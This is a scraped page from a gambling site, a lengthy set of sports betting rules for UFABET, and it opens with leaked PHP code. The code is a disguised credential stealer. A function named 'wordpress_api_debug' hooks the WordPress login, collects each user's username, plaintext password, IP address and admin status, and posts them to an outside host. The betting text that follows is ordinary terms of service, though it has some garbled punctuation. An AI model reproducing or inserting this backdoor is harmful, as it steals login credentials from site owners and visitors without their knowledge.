= explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE HTML> <html lang="en-US" prefix="og: https://ogp.me/ns#"> <head> <title>Betting Rules | UFABET ยูฟ่าเบท | แทงบอล พนันบอล สล็อต บาคาร่า สมัครฟรี

Betting Rules

Attention: We reserve the right to refuse or suspend any Customer suspected of cheating, hacking, attacking, manipulating, or causing harm to our normal betting operations. This includes our Internet Betting Service. Any bets deemed “abnormal” will be voided without prior notification. The use of artificial intelligence or “bots” on the Internet Betting Service is strictly prohibited. We have implemented measures to prevent and detect the use of programs designed to enable non human artificial intelligence from utilizing our Website. If a Customer attempts or actually uses artificial intelligence their Account may be terminated or their bets voided at our discretion. Please understand that our company is not liable for any related claims.

The Specific Event/Market Betting Rules for each particular Event or Market/bet type in this Website outline the different rules that apply. These rules are specific to each event or market ensuring fairness and clarity. It is important to comply fully with these rules when placing bets. In addition the general rules of betting that apply to all Events and Markets/bet types must be followed without exception. If there are any provisions or definitions mentioned in the Terms and Conditions published on the Website. Those shall also apply to these Betting Rules and Regulations.

1. General Betting Rules

1.1. Application of General Betting Rules: Members are kindly advised to familiarize themselves with the following general rules of betting as they generally apply to all Events, Markets, and Products. In cases where specific rules apply. They will be stated accordingly. Please note that the Company reserves the right to amend or update these rules at any time and any revisions will be immediately effective upon posting on our website.

1.1.1. Ensuring Member Satisfaction: To better serve our valued Members. The Company strives to provide useful betting information and ensures that our Markets are administered with integrity and transparency. However. It is important for Members to understand that we do not guarantee the timeliness, accuracy, or completeness of certain betting information such as dates, venues, odds, results, scores, match status, and other related details. Therefore. It remains the responsibility of each Member to verify such information before placing a bet. Please understand that any errors or omissions in this regard cannot be attributed to the Company.

1.1.2. Consistency in Event Names: Please be aware that there may be variations between English and Non English names used for events or teams on our Website. In cases where an inconsistency arises between these names the English version shall prevail.

1.1.3. Accuracy of Betting Information: Certain betting information provided on our Website may be subject to inaccuracies due to time delays and other unforeseen circumstances beyond our control which may arise from data feeds provided by third party suppliers. We acknowledge that such data may not always be timely accurate or complete; therefore Members must assume all risks associated with relying on this data when placing a bet.

1.1.4 Unalterable Bets: Once a Member places a bet which is then confirmed by the Company. It cannot be withdrawn, changed or cancelled by the Member.

1.1..5 Situations Requiring Discretionary Action:
In the following circumstances. And without prior notice. The Company reserves the right to exercise its sole and absolute discretion to cancel a bet. Void any already placed bets. And/or temporarily suspend a Members account:
– The Member has placed a bet in violation of the rules;
– The Member has exceeded the maximum allowed bet amount;
– The Member has placed an erroneous or incomplete bet;
– The gaming data or odds displayed were erroneous due to human or transmission errors;
– There is an unusually high number of losses or winnings that raise suspicion;
– There is evidence of abnormal or irregular use of the gaming platform;
– The Company suspects that the bet is linked to illegal betting activities.

1.1.6. Maximum Payout Amounts: The Company reserves the absolute discretion to set maximum payout amounts for our games and products. As well as make changes to existing amounts. Members are required to comply with these limits without prior notice.

1.1.7. Any bets placed on live betting during a live match will be honored and settled once the event has concluded and the result is determined, regardless of any disconnection of the stream. However if there is a specific rule regarding disconnection for a particular game or product that rule will take precedence.

1.1.8. In the event of any errors or threats to the integrity of a game or specific product the Company has the authority to suspend or close said game or product in order to maintain its integrity. If a Member suspects any wrongdoing or system error. It is advised to cease playing and report the issue to the Companys’ member support department. The department will then determine whether or not to address the issue accordingly. If a Member chooses to continue playing. They will be accepting all risks associated with their bets.

1.1.9. In regular business operations if there is reasonable belief that a race, event, or match has been fixed or manipulated in any way or if there are indications of pool manipulation the Company reserves the right to delay settlement or withhold payments. This belief may be based on rational analysis of bet size, volume, and patterns across all betting channels offered by the Company. Any disputes regarding interpretation of these rules will defer to the Companys’ interpretation.

1.1.10 Without prior notice or further explanation required from the Companys part it may reasonably exercise its absolute discretion in limiting a Members participation in games declining requests to join games from Members and/or expelling Members from games as deemed necessary

1.2. Software and Games

1.2.1. The Company cannot guarantee the quality or security of the Software. And it does not claim that the Software or servers are free from errors, defects, or viruses. The Company will not be held liable for any problems arising from the use of the Software, including communication or system errors. Additionally the Company reserves the right to temporarily remove games from the Software for debugging purposes and to correct any errors.

1.2.2. The Company grants Members a personal and non transferable right to use the Software in order to play games and place bets. However this does not grant ownership or intellectual property rights over the Software. Members should be aware that they assume all risks when placing bets using the Software and the Company will not be responsible for any losses or damages incurred.

1.2.3. When using the Software. Members are strictly prohibited from: replicating or making copies of the Software; assigning, sub licensing, leasing, or transferring the rights to use the Software; installing the software on another device or making it accessible to others; removing any notices such as copyright or trademark notices from the Software; disclosing any confidential information displayed on the Software about either our Company or our software provider; decoding, disassembling, decompiling, reverse engineering, modifying, creating derivative works based on the Software (or any part of it). Converting it into other formats without permission. Furthermore. Attempting to bypass our websites’ security system or interfering with our Websites’ software is strictly prohibited

1.3. Change in Scheduled Time

1.3.1. Bets placed before the start of the Match or Event (excluding specified live betting) will be valid if it begins before the scheduled time. However. If a Market is not closed or suspended at the correct time. The Company reserves the right to void all bets placed after the actual start time (excluding specified live betting).

1.3.2. If a Match or Event is postponed to a different date and is not completed within the originally scheduled completion date all bets will be void except for those Markets that have been unconditionally determined.

1.3.3. In case a Match or Event starts but is later abandoned and cannot be completed within the originally scheduled completion date. All bets will be void. Except for those Markets that have been unconditionally determined.

1.3.4. If a Match or Event exceeds its originally scheduled completion time but is declared by the relevant governing body of that particular Event the Company holds subjective authority to determine whether the match is valid or not with its decision being final and binding.

1.4 Change of Venue

1.4.1 If a Match has been scheduled to take place on home teams ground but was instead played on away teams ground. All bets will be considered voided accordingly. . Similarly. . If there has been an incorrect statement of names between home and away teams. . Resulting in reversal. . All bets will also be considered voided.. Nevertheless On neutral grounds. . If a Match that was supposed to occur on such grounds instead happens on non neutral grounds (or vice versa). Then all bets remain valid unless otherwise stated.

1.4.2 Consequently.. f F or any non team Events , where venue changes occur after Market opening. . These changes do not affect bet validity.

1.5 Duration of Time

1.5.1 Irrespective Regardless of any change in scheduled duration of the Match or Event all bets will still be considered valid.

1.5.2. Any incident that takes place during injury or stoppage time and is played out is considered to have happened at the conclusion of regular time. For instance. If a goal is scored during the injury time of the first half in a soccer match. It is regarded as having been scored on the 45th minute.

1.6. Results

1.6.1. In order to properly settle the Market. The official result will be based on the podium positions. Regardless of any disqualification or amendments that may occur after the announcement. If there is no podium ceremony. The official result determined by the relevant governing body at the time of Market settlement will be used, even if there are subsequent disqualifications or amendments to the results. If no official result is available. The result will be determined based on the evidence known at the time of Market settlement.

1.6.2. Normally Markets are settled shortly after an Event concludes. However if there is an error in settlement we reserve the right to reverse it.

1.6.3. If there is uncertainty about a Match or Event result we have the right to suspend Market settlement until a final determination is made.

1.6.4. We will not void or refund settled bets due to any changes made to results. Team names, or other Match details more than seventy two (72) hours after the Event start time or for bets that have already been settled unless it involves non existent Matches.

1.6.5. In situations where there is a discrepancy between our Websites’ posted results and official results we will refer to our video recording of that particular Event in order to determine the correct result. If no video recording exists. The official website of relevant governing body for that particular Event shall be considered for determining correct result. If this official website does publish accurate results the Company reserves right(/s) make decisions/amendments to determine final decision and our decision shall ultimately prevail(/be binding).

1.6.6. To determine winning bets. The winner of an Event is decided upon at its conclusion regardless of later reversal decisions. Resultant protests/appeals.

1.7. Countdown Timer Acceptance

1.7.1. This feature will only be available for certain Events. If it is available. Members can place a bet by selecting the “Timer Accept” button on the menu. Each bet placed using timer acceptance will have its own countdown timer for a set duration. If there are no interruptions the placed bet will be accepted at the end of the timer. However. If any interruptions occur before the countdown timer ends. The bets placed under this section will be considered void.

1.7.2. Interruptions for this feature include: when there is a possibility of a red card or a red card is actually given; when there is a possibility of a penalty or a penalty is given; when there is a possibility of a goal or a goal is scored by any team; and in case of fortuitous events like equipment or telecommunication failure that prevents proper placing, accepting, recording, or notification of bets. As well as delays or interruptions in operation or transmission due to communication line failure.

1.7.3 The Member understands that while real time data provided on the Website comes from a third party feed it may be subject to time delays and/or inaccuracies. Any bets made based on this data are entirely at the Members’ own risk. The Company provides this data as is with no warranty regarding accuracy, completeness, or timeliness and accepts no responsibility for any loss (direct or indirect) suffered by the Member as a result of relying on it.

1.8 Mix Parlay Maximum Payout

1.8.1 The maximum payout limit for any Mix Parlay bet is MYR 150,000. If there is a Mix Parlay bet involving sports with different maximum payout limits. Then the lowest limit will apply.

1.8.2 All maximum payout limits also apply to any group/syndicate of Members acting together. In concert. Or as an organized group and who have bet on the same combination of selections. This includes cases where the bets are placed in a series. At different prices. Over multiple days using different accounts.

1.8.3. If. For any reason. The Company suspects that a series of bets has been placed in the way described in the previous paragraph. The cumulative payout for all those bets will be capped at a single maximum payout. This maximum payout will be allocated to the Member who initiated the first bet in the series.

1.8.4. The maximum payout amount is displayed in MYR Ringgit currency. In case bets are made using a different currency the payout will be converted based on the systems default currency conversion rate on the day when the bets are settled.

2. Market (Bet Type) Rules General Rules

2.1. General

2.1.1.Outright

2.1.1.1. Outright betting pertains to wagering on the winner of an Event, race, or tournament.

2.1.1.2. Outright place betting involves placing bets on competitors who fill specific places in an Event, race, or tournament. The number of paid places will be mentioned in the Market title.

2.1.1.3. If a competitor/player is unable to start an Event, race, or tournament. All Outright bets placed on that competitor/player will be void unless stated otherwise in the specific sport betting rules.

2.1.1.4. If there are multiple winners or a “Dead Heat” is declared in any Outright Market the payout odds (minus the stake) will be divided by the number of winners and settled accordingly with the stake returned. Customer inquiries regarding payout calculations for markets like ENGLISH PREMIER LEAGUE – Top Goalscorer when there are multiple top goalscorers can be handled as follows:
– For two top goalscorers,
Payout = Stake/(Number of top goalscorers) x (Odds – 1) = Payout
– For more than two top goalscorers,
Payout = Stake/(Number of top goalscorers)

For example:
ENGLISH PREMIER LEAGUE – Top Goalscorer
Dimitar Berbatov 1.40
Carlos Tevez 3:50

If I placed a bet with a stake of 100 on Dimitar Berbatov at odds of 1:40 and there are two top goalscorers
My payout would be: (100/2) x (1:40 1) = 20

Similarly if I placed a bet with a stake of 100 on Carlos Tevez at odds of 3:50 and there are two top goalscorers
My payout would be: (100/2) x (3:50 1) = 125

2.1.1.5. The term “Any Other Player” (Any Other Team, etc.) refers to all competitors who are not specifically named in the market.

2.1.2 Moneyline

2.1.2.1 Betting on one competitor or team to defeat another in an Event or to be placed higher in an Event match up is known as the Moneyline. The remaining Moneyline rules can be found in the Specific Event Betting Rules.

2.1.2.2 When we refer to “The Field ” we mean all competitors other than the one named in the Moneyline match up.

2.1.3 Handicap (HDP) & 1st Half Handicap

2.1.3.1 The term “Handicap” refers to betting on a competitor or team receiving a virtual head start before the Event begins, effectively leading by that head start at the start of the competition. The winner is determined by comparing scores after adding the given handicap to the result recorded during the competition itself. Additional rules for Handicap betting can be found in the Specific Event Betting Rules.

2.1.3.2 “First Half Handicap” focuses specifically on betting for a teams’ score after adding the given handicap to its performance during only the first half of an Event. 2,4 . Over/Under (OU) & 1st Half Over/Under

2.1.4. Over/Under and 1st Half Over/Under

2.1.4.1. The concept of Over/Under in betting is based on the total number of points (goals, games, etc.) in the final result of an Event. If the total exceeds the pre designated Over/Under line then the winning outcome is considered as Over. Conversely if the total falls below the pre designated Over/Under line then the victorious outcome is Under.

2.1.4.2. Similarly. 1st Half Over/Under entails placing bets on the total number of points scored during the first half of an Events’ result. If this tally surpasses the pre determined Over/Under line. Then it constitutes a winning outcome as Over; contrarily. If it falls short of said line. Then it classifies as a triumphant outcome as Under

2.1.5. Odd/Even & 1st Half Odd/Even

2.1.5.1. Odd/Even refers to a type of betting that revolves around determining whether the final result of an Event, which includes goals, games. And other points will have an odd or even total number of points. On the other hand.

2.1.5.2. 1st Half Odd/Even entails betting on whether the total number of points at the end of the first half of an Event will be odd or even.

2.1.5.3. 1st half bets. They will be considered void if an Event is abandoned before the completion of the first half. However. If an Event is abandoned after the conclusion of the first half. All 1st half bets will remain valid.

2.1.6. Single Team Odd/Even

2.1.6.1. Single Team Odd/Even involves predicting whether a specific teams full time score in a match will be odd or even.

2.1.6.2. Its important to note that any extra time added during the match will not be taken into account when determining the full time score for that particular team.

2.1.7.Match Half time/Full time Odd/Even

2.1.7.1. Match Half time/Full time Odd/Even allows bettors to predict whether both the halftime result and full time result of a match will have an odd odd combination. Odd even combination, even odd combination, or even even combination.

2.1.7.2.There are four (4) options to bet on:

  1. Odd/Odd
  2. Odd/Even
  3. Even/Odd
  4. Even/Even

2.1.7.3. For this betting type any additional time added to a match will not be taken into account when determining the final result of the match.

2.1.8.Mix Parlays

2.1.8.1. Mix Parlay refers to bets that involve combining two or more selections into a single wager. If all selections are successful. The Parlay wins and will be paid out at the combined odds of the selections. However. If one or more selections fail to win. The Parlay will result in a loss. In case of a postponement of one or more selections the odds for that particular selection will revert to 1.00.

2.1.8.2.During LIVE Mix Parlays. If any bet in the selection is rejected. Then the Parlay odds will be evaluated at [1 .00].

2 .1 . 8 . 3.Please consult the “Help” section on the Mix Parlay betting page for further details.

2 .1.8.4. A trixie consists of four bets involving three selections in different events – three doubles and one treble-. At least two winning selections ensure a return on your wager. If any two of your selections win-, one of the double bets will result in a return-. In- case all three of your selections win- all three doubles as well as- -the treble bet will give you a return. should one or more selection be postponed-. Their odds would then revert back to 1.00 odds.

2.1.8.5. A yankee consists of 11 bets involving 4 selections in different events. It includes 6 doubles, 4 trebles, and 1 four fold. If you have any two winning selections. You are guaranteed a return. If you have two winning selections. One of the doubles will give you a return. If three selections win. Three of the double bets and one of the trebles will give you a return. If all four selections win then all six doubles, four trebles, and the four fold will give you a return. In case any selection is postponed the odds for that selection will revert to 1.00 odds.

2.1.8.6. A Canadian bet consists of 26 bets that involve 5 different events. These include 10 doubles, 10 trebles, 5 four folds and 1 five fold. With a Canadian bet. If any two of your selections win. You are guaranteed a return. Furthermore. If any 2 of your selections win. One of the doubles will give you a return. Additionally. If 4 of your selections win. Then you will receive returns from 6 double bets, 4 trebles. And the four fold bet. In the event that all 5 selections win. You will receive returns from all 10 doubles bets. All 10 trebles bets, all 5 four fold bets and the five fold bet. It is important to note that if one or more selections are postponed. The odds for those selections will revert to odds of 1.00.

2.1.8.7. A Heinz is comprised of 57 bets in which there are 6 selections across different events. These bets include 15 doubles, 20 trebles, 15 four folds, 6 five folds, and 1 six fold. It is important to note that if two selections within the Heinz bet win a return is guaranteed. Furthermore if any combination of two selections win one of the double bets will also yield a return. In the event that all six selections are successful all the relevant bets within the Heinz will generate a return. However. If one or more selections are postponed. The odds for that particular selection will revert back to 1.00 odds.

2.1.8.8. A super heinz consists of 120 bets with 7 different selections in separate events. This includes 21 doubles, 35 trebles, 35 four folds, 21 five folds, 7 six folds and 1 seven fold bet. Its’ important to note that any two winning selections will guarantee a return. If at least two of your selections win one of the double bets will also yield a return. If all six selections win. Then all 15 doubles, 20 trebles, 15 four folds, and all five fold and six fold bets will give a return as well. Similarly if all seven selections win then not only will all previous bets yield a return but also the seven fold bet. In the event that one or more selections are postponed. The odds for those selections will revert back to even odds of 1.00.

2.1.8.9. A goliath bet consists of 247 individual bets that involve 8 selections in different events. These bets include 28 doubles, 56 trebles, 70 four folds, 56 five folds, 28 six folds, 8 seven folds, and 1 eight fold. With this type of bet any two winning selections are guaranteed to result in a return. If at least two of your selections win one of the double bets will give a return. If all seven selections win then all the doubles (21) trebles (35) four folds (35) five folds (21) six folds (7) and the seven fold will also give a return. And if all eight selections win. Then all the doubles (28). Trebles (56). Four folds (70). Five folds (56). Six folds (28). Seven folds (8). And the eight fold will give a return. In the event that one or more selections are postponed or canceled the odds for those particular selections will revert back to being valued at odds of precisely 1.00.

2.1.8.10. LIVE events are not offered for selection in Trixie, Yankee, Canadian, Heinz, Super Heinz and Goliath.

2.1.8.11. Please refer to the “ ” icon on the bet menu in the Mix Parlay betting page for further details.

2.2. Soccer Bet Types

2.2.1. Unless otherwise stated, the result for soccer bet types refers to the score at the end of regular time, including any stoppage time added by the referee. Extra time is not taken into account.

2.2.2. 1X2

2.2.2.1. 1X2 means betting on one of three possible winning outcomes for an event. 1 refers to the team named first, usually the home team. X refers to a draw or tie result. 2 refers to the team named second, usually the away team.

2.2.3. Correct Score & Correct Score Running

2.2.3.1. Correct Score means betting on predicting the final score at the end of full time.

2.2.3.2. Correct Score to win “AOS” means the selected team must win with a score that is not listed in the selection.

2.2.3.3. Correct Score Running to win Full Time “AOS” means the selected team must win with a score that is not listed in the selection. This applies when the final score, either for the home or away team, has an additional “5” goals or above, excluding the current score.

2.2.3.4. Correct Score Running to win Half Time “AOS” means the selected team must win with a score that is not listed in the selection. This applies when the final score, either for the home or away team, has an additional “4” goals or above, excluding the current score.

Example Full Time AOS: Result for Full Time AOS: Current Score 1-2 (Excluding: 2-2, 3-2, 3-3, 4-2, 4-3, 4-4, 5-2, 5-3, 5-4, 5-5, 1-2, 2-3, 3-4, 4-5, 5-6, 1-3, 1-4, 2-4, 1-5, 2-5, 3-5, 1-6, 2-6, 3-6, 4-6) Result for Full Time AOS: Current Score 3-2 (Excluding: 4-2, 5-2, 5-3, 6-2, 6-3, 6-4, 7-2, 7-3, 7-4, 7-5, 3-2, 4-3, 5-4, 6-5, 7-6, 3-3, 3-4, 4-4, 3-5, 4-5, 5-5, 3-6, 4-6, 5-6, 6-6)

Example Half Time AOS: Result for Half Time AOS: Current Score 1-2 (Excluding: 2-2, 3-2, 3-3, 4-2, 4-3, 4-4, 1-2, 2-3, 3-4, 4-5, 1-3, 1-4, 2-4, 1-5, 2-5, 3-5) Result for Half Time AOS: Current Score 3-2 (Excluding: 4-2, 5-2, 5-3, 6-2, 6-3, 6-4, 3-2, 4-3, 5-4, 6-5, 3-3, 3-4, 4-4, 3-5, 4-5, 5-5)

2.2.4. Total Goal & First Half Total Goal

2.2.4.1. Total Goal means betting based on the total sum of the number of goals scored in an event.

2.2.4.2. First Half Total Goal means betting based on the total sum of the number of goals scored in the first half of a match.

2.2.4.3. Bets will be void if the match is abandoned, unless settlement of bets has already been determined.

2.2.5. Half-time/Full-time (HT.FT)

2.2.5.1. Half-time/Full-time means betting on predicting both the half-time result and the full-time result of an event, without considering extra time. In this market, H refers to the first named team, usually the home team, D refers to a draw, and A refers to the second named team, usually the away team.

2.2.5.2. Example – HA means that the first named team (Home) will be leading at half-time, and the second named team (Away) will be leading at full-time.

2.2.6. First Goal/Last Goal & First Half First Goal/Last Goal

2.2.6.1. First Goal/Last Goal means betting on which team will score the first or last goal in a match. HF refers to the first named team, usually the home team, scoring the first goal. HL refers to the first named team scoring the last goal. AF refers to the second named team, usually the away team, scoring the first goal. AL refers to the second named team scoring the last goal. NG refers to no goals being scored during the event.

2.2.6.2. First Half First Goal/Last Goal means betting on which team will score the first or last goal in the first half of a match. HF refers to the first named team, usually the home team, scoring the first goal. HL refers to the first named team scoring the last goal. AF refers to the second named team, usually the away team, scoring the first goal. AL refers to the second named team scoring the last goal. NG refers to no goals being scored during the event.

2.2.6.3. Own goals count towards the team credited with the goal.

2.2.6.4. If an event is abandoned after a goal is scored, all bets on First Goal (and No Goal) will stand, while bets on Last Goal will be void. If an event is abandoned without any goal being scored, all wagers on First Goal, Last Goal, and No Goal will be void.

2.2.7. Which Team to Kick-Off

2.2.7.1. Which Team to Kick-Off means betting on which team will kick-off the event.

2.2.7.2. If an event is abandoned after the event has kicked-off, all bets are still valid.

2.2.8. Home Team Total vs. Away Team Total

2.2.8.1. Home Team Total Goal vs. Away Team Total Goal

2.2.8.1.1. Home Team Total Goal vs. Away Team Total Goal means betting on predicting the total number of goals scored by the home teams versus the total number of goals scored by the away teams for matches in a specific league played on a certain day.

2.2.8.2. Home Team Total Corner vs. Away Team Total Corner

2.2.8.2.1. Home Team Total Corner vs. Away Team Total Corner means betting on predicting the total number of corners taken by the home teams versus the total number of corners taken by the away teams for matches in a specific league played on a certain day.

2.2.8.3. Home refers to the first named team, and Away refers to the second named team.

2.2.8.4. If one (or more) matches should be postponed or abandoned, then the bet is void.

2.2.9. Single Team Over/Under & Single Team 1st Half Over/Under

2.2.9.1. Single Team Over/Under refers to the number of goals scored by a specified team in a match.

2.2.9.2. Single Team 1st Half Over/Under means betting on the number of goals scored by a specified team during the first half of an Event.

2.2.9.3. If the total is more than the OU line, then the winning result is Over. If the total is less than the OU line, then the winning result is Under.

2.2.10. Corners

2.2.10.1. An awarded corner that remains untaken does not count.

2.2.10.2. Number of Corners

2.2.10.2.1. Handicap & 1st Half Handicap

2.2.10.2.1.1. Handicap means betting on which team will take the most corners during a match, including any handicaps.

2.2.10.2.1.2. 1st Half Handicap means betting on which team will take the most corners during the first half of a match, including any handicaps.

2.2.10.2.1.3. Bets placed on 1st Half Handicap will be void if the match is abandoned during the first half. First Half Handicap bets will remain valid if the match is abandoned during the second half.

2.2.10.2.2. Over/Under & 1st Half Over/Under

2.2.10.2.2.1. Over/Under means betting on the total number of corners taken by both teams during a match.

2.2.10.2.2.2. 1st Half Over/Under means betting on the total number of corners taken by both teams during the first half of a match.

2.2.10.2.2.3. If the total is more than the OU line, then the winning result is Over. If the total is less than the OU line, then the winning result is Under.

2.2.10.2.2.4. Bets will be void if the match is abandoned unless the settlement of bets has already been determined. 2.2.10.3. First Corner & 2nd Half First Corner

2.2.10.3.1. First Corner means betting on which team will take the first corner in a match.

2.2.10.3.2. 2nd Half First Corner means betting on which team will take the first corner in the second half of a match.

2.2.10.3.3. If a match is abandoned after the first corner has been taken, then all bets are valid. If a match is abandoned before the first corner has been taken, then all bets are void.

2.2.10.4. Last Corner

2.2.10.4.1. Last Corner means betting on which team will take the last corner in a match.

2.2.10.4.2. If a match is abandoned, then all bets are void.

2.2.10.5. Next Corner

2.2.10.5.1. Next Corner means betting on which team will take the next corner in a match.

2.2.10.5.2. All bets are considered valid if the designated corner has been taken.

2.2.11. Total Bookings

2.2.11.1. A yellow card counts as one point, and a red card counts as two points. The maximum number of points a player can receive during a match is three (one for a yellow card and two for a red card; the second yellow card does not count).

2.2.11.2. Cards shown to non-players (managers, coaches, substitutes, etc.) do not count.

2.2.11.3. Number of Total Bookings

2.2.11.3.1. Handicap & 1st Half Handicap

2.2.11.3.1.1. Handicap means betting on which team will receive the most cards during a match, including any handicaps.

2.2.11.3.1.2. 1st Half Handicap means betting on which team will receive the most cards during the first half of a match, including any handicaps.

2.2.11.3.1.3. 1st Half Handicap bets will be void if the match is abandoned during the first half. However, bets will remain valid if the match is abandoned during the second half.

2.2.11.3.2. Over/Under & 1st Half Over/Under

2.2.11.3.2.1. Over/Under means betting on the total number of cards received by both teams during a match.

2.2.11.3.2.2. 1st Half Over/Under means betting on the total number of cards received by both teams during the first half of a match.

2.2.11.3.2.3. If the total is more than the OU line, the winning result is Over. If the total is less than the OU line, the winning result is Under.

2.2.11.3.2.4. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.11.4. First Booking & 2nd Half First Booking

2.2.11.4.1. First Booking means betting on which team will receive the first booking (Yellow or Red) in a match.

2.2.11.4.2. 2nd Half First Booking means betting on which team will receive the first booking (Yellow or Red) in the second half of a match.

2.2.11.4.3. If two or more players receive a booking for the same incident, the player who is shown the first card by the referee will be deemed the winner.

2.2.11.4.4. If a match is abandoned after the first card has been issued, all bets are valid. If a match is abandoned before the first card has been issued, all bets are void.

2.2.11.5. Last Booking

2.2.11.5.1. Last Booking means betting on which team will receive the last booking (Yellow or Red) in a match.

2.2.11.5.2. If two or more players receive a booking for the same incident, the player who is shown the last card by the referee will be deemed the winner.

2.2.11.5.3. If a match is abandoned, all bets are void.

2.2.11.6. Next Booking

2.2.11.6.1. Next Booking means betting to predict which team will receive a booking next, either a red card and/or a yellow card.

2.2.11.6.2. All bets are considered valid if the designated booking has been received.

2.2.12. Offsides

2.2.12.1. Number of Offside

2.2.12.1.1. Handicap & 1st Half Handicap

2.2.12.1.1.1. Handicap means betting on which team will be caught offside the most number of times during a match, including any handicaps.

2.2.12.1.1.2. 1st Half Handicap means betting on which team will be caught offside the most number of times during the first half of a match, including any handicaps.

2.2.12.1.1.3. 1st Half Handicap bets will be void if the match is abandoned during the first half. However, bets will remain valid if the match is abandoned during the second half.

2.2.12.1.2. Over/Under & 1st Half Over/Under

2.2.12.1.2.1. Over/Under means betting on the total number of offside decisions during a match.

2.2.12.1.2.2. 1st Half Over/Under means betting on the total number of offside decisions during the first half of a match.

2.2.12.1.2.3. If the total is more than the OU line, the winning result is Over. If the total is less than the OU line, the winning result is Under.

2.2.12.1.2.4. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.12.2. First Offside & 2nd Half First Offside

2.2.12.2.1. First Offside means betting on which team will be caught offside first in a match.

2.2.12.2.2. 2nd Half First Offside means betting on which team will be caught offside first in the second half of a match.

2.2.12.2.3. If a match is abandoned after the first offside decision, all bets are valid. If a match is abandoned before the first offside decision, all bets are void.

2.2.12.3. Last Offside

2.2.12.3.1. Last Offside means betting on which team will be caught offside last in a match.

2.2.12.3.2. If a match is abandoned, all bets are void.

2.2.12.4. Next Offside

2.2.12.4.1. Next Offside means betting to predict which team will be caught offside next.

2.2.12.4.2. All bets are considered valid if the designated offside has been caught.

2.2.13. Substitutions

2.2.13.1. Number of Substitution

2.2.13.1.1. Handicap

2.2.13.1.1.1. Handicap means betting on which team will make the most substitutions during a match, including any handicaps.

2.2.13.1.1.2. If a match is abandoned, all bets are void.

2.2.13.1.2. Over/Under

2.2.13.1.2.1. Over/Under means betting on the total number of substitutions during a match.

2.2.13.1.2.2. If the total is more than the OU line, the winning result is Over. If the total is less than the OU line, the winning result is Under.

2.2.13.1.2.3. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.13.2. First Substitution

2.2.13.2.1. First Substitution means betting on which team will make the first substitution during a match.

2.2.13.2.2. If two or more players are substituted at the same time, the player whose number is shown first by the fourth official is deemed the winner.

2.2.13.2.3. If a match is abandoned after the first substitution has been made, all bets are valid. If a match is abandoned before the first substitution has been made, all bets are void.

2.2.13.3. Last Substitution

2.2.13.3.1. Last Substitution means betting on which team will make the last substitution during a match.

2.2.13.3.2. If two or more players are substituted at the same time, the player whose number is shown last by the fourth official is deemed the winner.

2.2.13.3.3. If a match is abandoned, all bets are void.

2.2.14. Clean Sheets

2.2.14.1. Clean Sheets means betting “Yes” on a team to keep a clean sheet (not to concede a goal) or “No” on a team not to keep a clean sheet (to concede a goal).

2.2.14.2. If an event is abandoned after a goal is scored by the Home team only, then ‘Away Yes & No’ bets will stand while ‘Home Yes & No’ bets will be void. If a goal is scored by the Away team only, then ‘Home Yes & No’ bets will stand while ‘Away Yes & No’ will be void. If goals are scored by both the Home and Away teams, then all bets will stand. If an event is abandoned without any goal being scored, then all wagers will be void.

Rule 1: Home score ≥ 1, Away score = 0 (1, 2..:0) Home Yes – Refund Away Yes – Lose Home No – Refund Away No – Win

Rule 2: Home score ≥ 1, Away score ≥ 1 (1, 2…: 1, 2…) Home Yes – Lose Away Yes – Lose Home No – Win Away No – Win

Rule 3: Home score = 0, Away score ≥ 1 (0:1, 2…) Home Yes – Lose Away Yes – Refund Home No – Win Away No – Refund

2.2.15. Penalties

2.2.15.1. Penalties refer to betting on a penalty being awarded and taken during a match.

2.2.15.2. If a match is abandoned after a penalty has been awarded and taken, all bets remain valid.

2.2.15.3. If a match is abandoned before a penalty has been awarded and taken, all bets are void.

2.2.16. Penalty Shoot-outs

2.2.16.1. Penalty Shoot-outs involve betting on which team will win the penalty shootout.

